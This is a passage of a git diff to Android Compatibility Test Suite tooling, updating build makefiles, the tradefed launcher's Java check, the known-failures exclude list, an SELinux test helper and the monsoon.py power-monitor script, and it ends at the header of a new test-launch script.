index 0ef2de4..8630ac1 100644
--- a/tools/cts-media-preparer-app/Android.mk
+++ b/tools/cts-media-preparer-app/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsMediaPreparerApp
 
diff --git a/tools/cts-preconditions/Android.mk b/tools/cts-preconditions/Android.mk
index 5497dda..8c36c21 100644
--- a/tools/cts-preconditions/Android.mk
+++ b/tools/cts-preconditions/Android.mk
@@ -25,12 +25,15 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-preconditions
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    compatibility-device-preconditions \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsPreconditions
 
diff --git a/tools/cts-reference-app-lib/Android.mk b/tools/cts-reference-app-lib/Android.mk
index fae85b4..8f6039d 100644
--- a/tools/cts-reference-app-lib/Android.mk
+++ b/tools/cts-reference-app-lib/Android.mk
@@ -24,6 +24,8 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
+LOCAL_STATIC_JAVA_LIBRARIES := legacy-android-test junit
+
 LOCAL_SDK_VERSION := current
 
 LOCAL_MODULE := android.cts.refapp
diff --git a/tools/cts-tradefed/Android.mk b/tools/cts-tradefed/Android.mk
index 3e3070a..a539e5b 100644
--- a/tools/cts-tradefed/Android.mk
+++ b/tools/cts-tradefed/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_SUITE_TARGET_ARCH := $(TARGET_ARCH)
 LOCAL_SUITE_NAME := CTS
 LOCAL_SUITE_FULLNAME := "Compatibility Test Suite"
-LOCAL_SUITE_VERSION := 8.0_r4
+LOCAL_SUITE_VERSION := 8.0_r1
 
 LOCAL_MODULE := cts-tradefed
 LOCAL_COMPATIBILITY_SUITE := general-tests
diff --git a/tools/cts-tradefed/etc/cts-tradefed b/tools/cts-tradefed/etc/cts-tradefed
index 15249c3..7560b62 100755
--- a/tools/cts-tradefed/etc/cts-tradefed
+++ b/tools/cts-tradefed/etc/cts-tradefed
@@ -36,10 +36,18 @@
 checkPath java
 
 # check java version
-JAVA_VERSION=$(java -version 2>&1 | head -n 2 | grep '[ "]1\.[678][\. "$$]')
-if [ "${JAVA_VERSION}" == "" ]; then
-    echo "Wrong java version. 1.6, 1.7 or 1.8 is required."
-    exit
+if [ "${EXPERIMENTAL_USE_OPENJDK9}" == "" ]; then
+    JAVA_VERSION=$(java -version 2>&1 | head -n 2 | grep '[ "]1\.[678][\. "$$]')
+    if [ "${JAVA_VERSION}" == "" ]; then
+        echo "Wrong java version. 1.6, 1.7 or 1.8 is required."
+        exit
+    fi
+else
+    JAVA_VERSION=$(java -version 2>&1 | head -n 2 | grep '^java .* "9.*')
+    if [ "${JAVA_VERSION}" == "" ]; then
+        echo "Wrong java version. Version 9 is required."
+        exit
+    fi
 fi
 
 # check debug flag and set up remote debugging
@@ -76,7 +84,7 @@
 
 if [ -z ${CTS_ROOT} ]; then
     # assume we're in an extracted cts install
-    CTS_ROOT="$(dirname $0)/../.."
+    CTS_ROOT="$(dirname $(readlink -e $0))/../.."
 fi;
 
 JAR_DIR=${CTS_ROOT}/android-cts/tools
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 8eec398..f3c5418 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -30,29 +30,9 @@
     <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityTextTraversalTest#testActionNextAndPreviousAtGranularityPageOverText" />
     <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityTextTraversalTest#testActionNextAndPreviousAtGranularityPageOverTextExtend" />
 
-    <!-- b/17993121 -->
-    <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testAppWidgetProviderCallbacks" />
-    <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testBindAppWidget" />
-    <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testCollectionWidgets" />
-    <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testDeleteHost" />
-    <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testDeleteHosts" />
-    <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testGetAppWidgetIds" />
-    <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testGetAppWidgetInfo" />
-    <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testGetAppWidgetOptions" />
-    <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testPartiallyUpdateAppWidgetViaWidgetId" />
-    <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testPartiallyUpdateAppWidgetViaWidgetIds" />
-    <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testTwoAppWidgetProviderCallbacks" />
-    <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaComponentName" />
-    <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaWidgetId" />
-    <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaWidgetIds" />
-
     <!-- b/17530117 -->
     <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.AllocationTest#testBlackWhite" />
     <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.AllocationTest#testParamSensitivity" />
-    <!-- b/17989532 -->
-    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.SurfaceViewPreviewTest#testPreparePerformance" />
-    <!-- b/23008511 -->
-    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.cts.CameraTest#testPreviewFpsRange" />
 
     <!-- These test cases are only applicable to Android Auto Embedded targets.-->
     <option name="compatibility:exclude-filter" value="CtsCarTestCases" />
@@ -87,26 +67,14 @@
     <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.VirtualMachine.HoldEventsTest#testHoldEvents001" />
     <option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.VirtualMachine.ReleaseEventsTest#testReleaseEvents001" />
 
-    <!-- b/18117279 b/21262226 b/23144425 -->
+    <!-- b/21262226 -->
     <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_withMobile" />
-    <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_withWifi" />
-    <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testUnmeteredConstraintExecutes_withWifi" />
     <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testUnmeteredConstraintFails_withMobile" />
-    <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.TimingConstraintsTest#testJobParameters_unexpiredDeadline" />
 
     <!-- b/62616944 -->
     <option name="compatibility:exclude-filter" value="CtsLibcoreJavaUtilCollectionsTestCases" />
 
-    <!-- b/17144778 -->
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ImageReaderDecoderTest#testHwAVCDecode360pForFlexibleYuv" />
-    <!-- b/23827982 -->
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH264FlexArbitraryW" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH264SurfArbitraryW" />
-
-    <!-- b/25651805 -->
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.ConnectivityManagerTest#testRestrictedNetworks" />
     <!-- b/18682315 -->
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.SSLCertificateSocketFactoryTest#testCreateSocket" />
     <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_bind" />
     <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_simple" />
     <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_wrapping" />
@@ -115,15 +83,6 @@
     <option name="compatibility:exclude-filter" value="CtsOpenGlPerfTestCases android.openglperf.cts.GlAppSwitchTest#testGlActivitySwitchingFast" />
     <option name="compatibility:exclude-filter" value="CtsOpenGlPerfTestCases android.openglperf.cts.GlAppSwitchTest#testGlActivitySwitchingSlow" />
 
-    <!-- b/18091590 -->
-    <option name="compatibility:exclude-filter" value="CtsOpenGlPerfTestCases android.openglperf.cts.GlVboPerfTest#testVboWithVaryingIndexBufferNumbers" />
-
-    <!-- b/23192492 -->
-    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.ProtectedBroadcastsTest#testSendProtectedBroadcasts" />
-
-    <option name="compatibility:exclude-filter" value="CtsSampleDeviceTestCases" />
-    <option name="compatibility:exclude-filter" value="CtsSampleHostTestCases" />
-
     <!-- b/18461670 -->
     <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.AudioPolicyBinderTest#test_getStreamVolumeLeak" />
     <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.AudioPolicyBinderTest#test_isStreamActive" />
@@ -143,21 +102,8 @@
     <option name="compatibility:exclude-filter" value="x86_64 CtsRenderscriptLegacyTestCases" />
     <option name="compatibility:exclude-filter" value="mips64 CtsRenderscriptLegacyTestCases" />
 
-    <!-- b/23604254 -->
-    <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.ExtendedInCallServiceTest#testAddNewOutgoingCallAndThenDisconnect" />
-    <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.RemoteConferenceTest#testRemoteConferenceCallbacks_ConferenceableConnections" />
-
-    <!-- b/23779020 -->
-    <option name="compatibility:exclude-filter" value="CtsTransitionTestCases android.transition.cts.ChangeScrollTest#testChangeScroll" />
-
     <!-- b/17536113 -->
     <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.UsageStatsTest#testNoAccessSilentlyFails" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.UsageStatsTest#testOrderedActivityLaunchSequenceInEventLog" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.UsageStatsTest#testPackageUsageStatsIntervals" />
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.UsageStatsTest#testUsageEventsParceling" />
-
-    <!-- b/23238984 -->
-    <option name="compatibility:exclude-filter" value="CtsVoiceSettingsTestCases android.voicesettings.cts.ZenModeTest#testAll" />
 
     <!-- b/26235244 -->
     <option name="compatibility:exclude-filter" value="android.util.cts.EventLogTest#testWriteEventWithOversizeValue" />
@@ -175,6 +121,9 @@
     <!-- b/36686383 -->
     <option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.ErrorsTest#testANR" />
 
+    <!-- b/63916274 -->
+    <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.WiredHeadsetTest" />
+
     <!-- b/33090965 -->
     <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0320x0180" />
     <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0640x0360" />
@@ -240,7 +189,7 @@
     <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testVp8Goog0Perf1280x0720" />
 
     <!-- b/63566721 -->
-    <option name="compatibility:exclude-filter" value="CtsWrapWrapDebugTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsWrapWrapDebugTestCases android.wrap.cts.WrapTest" />
 
     <!-- b/38420898 -->
     <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyAccelMultiChannel" />
@@ -266,6 +215,6 @@
     <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRegisterMultipleChannels" />
     <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testReconfigure" />
 
-    <!-- b/63916274 -->
-    <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.WiredHeadsetTest" />
+    <!-- b/64690009 -->
+    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.PrivappPermissionsTest" />
 </configuration>
diff --git a/tools/selinux/SELinuxNeverallowTestFrame.py b/tools/selinux/SELinuxNeverallowTestFrame.py
index f84f2ec..20e1ed4 100644
--- a/tools/selinux/SELinuxNeverallowTestFrame.py
+++ b/tools/selinux/SELinuxNeverallowTestFrame.py
@@ -68,10 +68,7 @@
         sepolicyAnalyze = buildHelper.getTestFile("sepolicy-analyze");
         sepolicyAnalyze.setExecutable(true);
 
-        /* obtain sepolicy file from running device */
-        devicePolicyFile = File.createTempFile("sepolicy", ".tmp");
-        devicePolicyFile.deleteOnExit();
-        mDevice.pullFile("/sys/fs/selinux/policy", devicePolicyFile);
+        devicePolicyFile = android.security.cts.SELinuxHostTest.getDevicePolicyFile(mDevice);
     }
 
     private boolean isFullTrebleDevice() throws Exception {
diff --git a/tools/utils/monsoon.py b/tools/utils/monsoon.py
index f3d63c5..6efaf98 100755
--- a/tools/utils/monsoon.py
+++ b/tools/utils/monsoon.py
@@ -1,4 +1,4 @@
-#!/usr/bin/python2.6
+#!/usr/bin/env python
 
 # Copyright (C) 2014 The Android Open Source Project
 #
@@ -23,16 +23,25 @@
 
 Example usages:
   Set the voltage of the device 7536 to 4.0V
-  python2.6 monsoon.py --voltage=4.0 --serialno 7536
+  python monsoon.py --voltage=4.0 --serialno 7536
 
   Get 5000hz data from device number 7536, with unlimited number of samples
-  python2.6 monsoon.py --samples -1 --hz 5000 --serialno 7536
+  python monsoon.py --samples -1 --hz 5000 --serialno 7536
 
   Get 200Hz data for 5 seconds (1000 events) from default device
-  python2.6 monsoon.py --samples 100 --hz 200
+  python monsoon.py --samples 100 --hz 200
 
   Get unlimited 200Hz data from device attached at /dev/ttyACM0
-  python2.6 monsoon.py --samples -1 --hz 200 --device /dev/ttyACM0
+  python monsoon.py --samples -1 --hz 200 --device /dev/ttyACM0
+
+Output columns for collection with --samples, separated by space:
+
+  TIMESTAMP OUTPUT OUTPUT_AVG USB USB_AVG
+   |                |          |   |
+   |                |          |   ` (if --includeusb and --avg)
+   |                |          ` (if --includeusb)
+   |                ` (if --avg)
+   ` (if --timestamp)
 """
 
 import fcntl
@@ -232,13 +241,18 @@
           print >>sys.stderr, "waiting for calibration, dropped data packet"
           continue
 
-        out = []
-        for main, usb, aux, voltage in data:
-          if main & 1:
-            out.append(((main & ~1) - self._coarse_zero) * self._coarse_scale)
+        def scale(val):
+          if val & 1:
+            return ((val & ~1) - self._coarse_zero) * self._coarse_scale
           else:
-            out.append((main - self._fine_zero) * self._fine_scale)
-        return out
+            return (val - self._fine_zero) * self._fine_scale
+
+        out_main = []
+        out_usb = []
+        for main, usb, aux, voltage in data:
+          out_main.append(scale(main))
+          out_usb.append(scale(usb))
+        return (out_main, out_usb)
 
       elif type == 1:
         self._fine_zero = data[0][0]
@@ -317,6 +331,11 @@
     print FLAGS.MainModuleHelp()
     return
 
+  if FLAGS.includeusb:
+    num_channels = 2
+  else:
+    num_channels = 1
+
   if FLAGS.avg and FLAGS.avg < 0:
     print "--avg must be greater than 0"
     return
@@ -359,39 +378,50 @@
     # 'offset' = (consumed samples) * FLAGS.hz - (emitted samples) * native_hz
     # This is the error accumulator in a variation of Bresenham's algorithm.
     emitted = offset = 0
-    collected = []
-    history_deque = collections.deque() # past n samples for rolling average
+    chan_buffers = tuple([] for _ in range(num_channels))
+    # past n samples for rolling average
+    history_deques = tuple(collections.deque() for _ in range(num_channels))
 
     try:
       last_flush = time.time()
       while emitted < FLAGS.samples or FLAGS.samples == -1:
         # The number of raw samples to consume before emitting the next output
         need = (native_hz - offset + FLAGS.hz - 1) / FLAGS.hz
-        if need > len(collected):     # still need more input samples
-          samples = mon.CollectData()
-          if not samples: break
-          collected.extend(samples)
+        if need > len(chan_buffers[0]):     # still need more input samples
+          chans_samples = mon.CollectData()
+          if not all(chans_samples): break
+          for chan_buffer, chan_samples in zip(chan_buffers, chans_samples):
+            chan_buffer.extend(chan_samples)
         else:
           # Have enough data, generate output samples.
           # Adjust for consuming 'need' input samples.
           offset += need * FLAGS.hz
           while offset >= native_hz:  # maybe multiple, if FLAGS.hz > native_hz
-            this_sample = sum(collected[:need]) / need
+            this_sample = [sum(chan[:need]) / need for chan in chan_buffers]
 
             if FLAGS.timestamp: print int(time.time()),
 
             if FLAGS.avg:
-              history_deque.appendleft(this_sample)
-              if len(history_deque) > FLAGS.avg: history_deque.pop()
-              print "%f %f" % (this_sample,
-                               sum(history_deque) / len(history_deque))
+              chan_avgs = []
+              for chan_deque, chan_sample in zip(history_deques, this_sample):
+                chan_deque.appendleft(chan_sample)
+                if len(chan_deque) > FLAGS.avg: chan_deque.pop()
+                chan_avgs.append(sum(chan_deque) / len(chan_deque))
+              # Interleave channel rolling avgs with latest channel data
+              data_to_print = [datum
+                               for pair in zip(this_sample, chan_avgs)
+                               for datum in pair]
             else:
-              print "%f" % this_sample
+              data_to_print = this_sample
+
+            fmt = ' '.join('%f' for _ in data_to_print)
+            print fmt % tuple(data_to_print)
+
             sys.stdout.flush()
 
             offset -= native_hz
             emitted += 1              # adjust for emitting 1 output sample
-          collected = collected[need:]
+          chan_buffers = tuple(c[need:] for c in chan_buffers)
           now = time.time()
           if now - last_flush >= 0.99:  # flush every second
             sys.stdout.flush()
@@ -410,7 +440,9 @@
   flags.DEFINE_float("voltage", None, "Set output voltage (0 for off)")
   flags.DEFINE_float("current", None, "Set max output current")
   flags.DEFINE_string("usbpassthrough", None, "USB control (on, off, auto)")
-  flags.DEFINE_integer("samples", None, "Collect and print this many samples")
+  flags.DEFINE_integer("samples", None,
+                       "Collect and print this many samples. "
+                       "-1 means collect indefinitely.")
   flags.DEFINE_integer("hz", 5000, "Print this many samples/sec")
   flags.DEFINE_string("device", None,
                       "Path to the device in /dev/... (ex:/dev/ttyACM1)")
@@ -418,5 +450,6 @@
   flags.DEFINE_boolean("timestamp", None,
                        "Also print integer (seconds) timestamp on each line")
   flags.DEFINE_boolean("ramp", True, "Gradually increase voltage")
+  flags.DEFINE_boolean("includeusb", False, "Include measurements from USB channel")
 
   main(FLAGS(sys.argv))
diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
index d5811c3..a1633ab 100644
--- a/tools/vm-tests-tf/Android.mk
+++ b/tools/vm-tests-tf/Android.mk
@@ -25,10 +25,10 @@
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 LOCAL_MODULE_TAGS := optional
 LOCAL_JAVA_LIBRARIES := junit
-
+-include cts/error_prone_rules_tests.mk
 include $(BUILD_JAVA_LIBRARY)
 
-cts-tf-dalvik-lib.jack := $(full_classes_jack)
+cts-tf-dalvik-lib.jar := $(full_classes_jar)
 
 # buildutil java library
 # ============================================================
@@ -55,8 +55,6 @@
 #
 include $(CLEAR_VARS)
 
-include $(BUILD_SYSTEM)/configure_local_jack.mk
-
 LOCAL_MODULE := vm-tests-tf
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 LOCAL_MODULE_SUFFIX := $(COMMON_JAVA_PACKAGE_SUFFIX)
@@ -68,17 +66,14 @@
 LOCAL_MODULE_PATH := $(intermediates)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_SYSTEM)/base_rules.mk
 
-vmteststf_dep_jars := $(addprefix $(HOST_OUT_JAVA_LIBRARIES)/, cts-tf-dalvik-buildutil.jar dasm.jar dx.jar cfassembler.jar junit-host.jar)
-
-$(LOCAL_BUILT_MODULE): PRIVATE_JACK_EXTRA_ARGS := $(LOCAL_JACK_EXTRA_ARGS)
-
-ifdef LOCAL_JACK_ENABLED
-    vmteststf_dep_jars += $(cts-tf-dalvik-lib.jack)
-endif
+vmteststf_dep_jars := \
+    $(HOST_JDK_TOOLS_JAR) \
+    $(cts-tf-dalvik-lib.jar) \
+    $(addprefix $(HOST_OUT_JAVA_LIBRARIES)/, cts-tf-dalvik-buildutil.jar dasm.jar dx.jar cfassembler.jar junit-host.jar)
 
 $(LOCAL_BUILT_MODULE): PRIVATE_SRC_FOLDER := $(LOCAL_PATH)/src
 $(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_CLASSES := $(call intermediates-dir-for,JAVA_LIBRARIES,cts-tf-dalvik-buildutil,HOST)/classes
@@ -86,49 +81,30 @@
 $(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_DEXCORE_JAR := $(intermediates)/tests/dot/junit/dexcore.jar
 $(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_MAIN_FILES := $(intermediates)/main_files
 $(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES := $(intermediates)/hostjunit_files
-$(LOCAL_BUILT_MODULE): PRIVATE_CLASS_PATH := $(subst $(space),:,$(vmteststf_dep_jars)):$(HOST_JDK_TOOLS_JAR)
-$(LOCAL_BUILT_MODULE): PRIVATE_JACK_VERSION := $(LOCAL_JACK_VERSION)
-ifndef LOCAL_JACK_ENABLED
-$(LOCAL_BUILT_MODULE) : $(vmteststf_dep_jars) $(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar
+$(LOCAL_BUILT_MODULE): PRIVATE_CLASS_PATH := $(call normalize-path-list, $(vmteststf_dep_jars))
+oj_jar := $(call intermediates-dir-for,JAVA_LIBRARIES,core-oj,,COMMON)/classes.jar
+libart_jar := $(call intermediates-dir-for,JAVA_LIBRARIES,core-libart,,COMMON)/classes.jar
+$(LOCAL_BUILT_MODULE): PRIVATE_DALVIK_SUITE_CLASSPATH := $(oj_jar):$(libart_jar):$(cts-tf-dalvik-lib.jar):$(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar:
+$(LOCAL_BUILT_MODULE) : $(vmteststf_dep_jars) $(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar $(DX)
 	$(hide) rm -rf $(dir $@) && mkdir -p $(dir $@)
 	$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES)/dot/junit $(dir $(PRIVATE_INTERMEDIATES_DEXCORE_JAR))
 	# generated and compile the host side junit tests
 	@echo "Write generated Main_*.java files to $(PRIVATE_INTERMEDIATES_MAIN_FILES)"
-	$(hide) java -cp $(PRIVATE_CLASS_PATH) util.build.BuildDalvikSuite $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
-		$(HOST_OUT_JAVA_LIBRARIES)/cts-tf-dalvik-buildutil.jar:$(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar \
-		$(PRIVATE_INTERMEDIATES_MAIN_FILES) $(PRIVATE_INTERMEDIATES_CLASSES) $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES) $$RUN_VM_TESTS_RTO
-	@echo "Generate $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)"
-	$(hide) jar -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar \
-		$(addprefix -C $(PRIVATE_INTERMEDIATES_CLASSES) , dot/junit/DxUtil.class dot/junit/DxAbstractMain.class)
-	$(hide) $(DX) -JXms16M -JXmx768M --dex --output=$(PRIVATE_INTERMEDIATES_DEXCORE_JAR) \
-		$(if $(NO_OPTIMIZE_DX), --no-optimize) $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar && rm -f $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar
-	$(hide) cd $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES)/classes && zip -q -r ../../$(notdir $@).jar .
-	$(hide) cd $(dir $@) && zip -q -r $(notdir $@) tests
-else # LOCAL_JACK_ENABLED
-oj_jack := $(call intermediates-dir-for,JAVA_LIBRARIES,core-oj,,COMMON)/classes.jack
-libart_jack := $(call intermediates-dir-for,JAVA_LIBRARIES,core-libart,,COMMON)/classes.jack
-$(LOCAL_BUILT_MODULE): PRIVATE_DALVIK_SUITE_CLASSPATH := $(oj_jack):$(libart_jack):$(cts-tf-dalvik-lib.jack):$(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar
-$(LOCAL_BUILT_MODULE) : $(vmteststf_dep_jars) $(JACK) $(oj_jack) $(libart_jack) $(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar | setup-jack-server
-	$(hide) rm -rf $(dir $@) && mkdir -p $(dir $@)
-	$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES)/dot/junit $(dir $(PRIVATE_INTERMEDIATES_DEXCORE_JAR))
-	# generated and compile the host side junit tests
-	@echo "Write generated Main_*.java files to $(PRIVATE_INTERMEDIATES_MAIN_FILES)"
-	$(hide) JACK_VERSION=$(PRIVATE_JACK_VERSION) java -cp $(PRIVATE_CLASS_PATH) util.build.JackBuildDalvikSuite $(JACK) $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
+	$(hide) $(JAVA) \
+	    -cp $(PRIVATE_CLASS_PATH) util.build.BuildDalvikSuite $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
 		$(PRIVATE_DALVIK_SUITE_CLASSPATH) \
 		$(PRIVATE_INTERMEDIATES_MAIN_FILES) $(PRIVATE_INTERMEDIATES_CLASSES) $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES) $$RUN_VM_TESTS_RTO
 	@echo "Generate $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)"
-	$(hide) jar -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar \
-		$(addprefix -C $(PRIVATE_INTERMEDIATES_CLASSES) , dot/junit/DxUtil.class dot/junit/DxAbstractMain.class)
-	$(hide) $(call call-jack) --import $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar --output-jack $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jack
+	$(hide) $(JAR) -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar \
+		$(addprefix -C $(PRIVATE_INTERMEDIATES_CLASSES) , dot/junit/DxUtil.class dot/junit/DxAbstractMain.class dot/junit/AssertionFailedException.class)
 	$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp
-	$(hide) $(call call-jack,$(PRIVATE_JACK_EXTRA_ARGS)) --output-dex $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp \
-		$(if $(NO_OPTIMIZE_DX), -D jack.dex.optimize "false") --import $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jack && rm -f $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jack
+	$(hide) $(DX_COMMAND) --dex --output=$(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp \
+		$(if $(NO_OPTIMIZE_DX), --no-optimize) $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar && rm -f $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar
 	$(hide) cd $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp && zip -q -r $(abspath $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)) .
 	$(hide) cd $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES)/classes && zip -q -r ../../$(notdir $@) .
 	$(hide) cd $(dir $@) && zip -q -r $(notdir $@) tests
-oj_jack :=
-libart_jack :=
-endif # LOCAL_JACK_ENABLED
+oj_jar :=
+libart_jar :=
 
 # Clean up temp vars
 intermediates :=
diff --git a/tools/vm-tests-tf/etc/starthosttests b/tools/vm-tests-tf/etc/starthosttests
new file mode 100755
index 0000000..c1144f0
--- /dev/null
+++ b/tools/vm-tests-tf/etc/starthosttests
@@ -0,0 +1,249 @@
+#!/bin/bash
+#
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
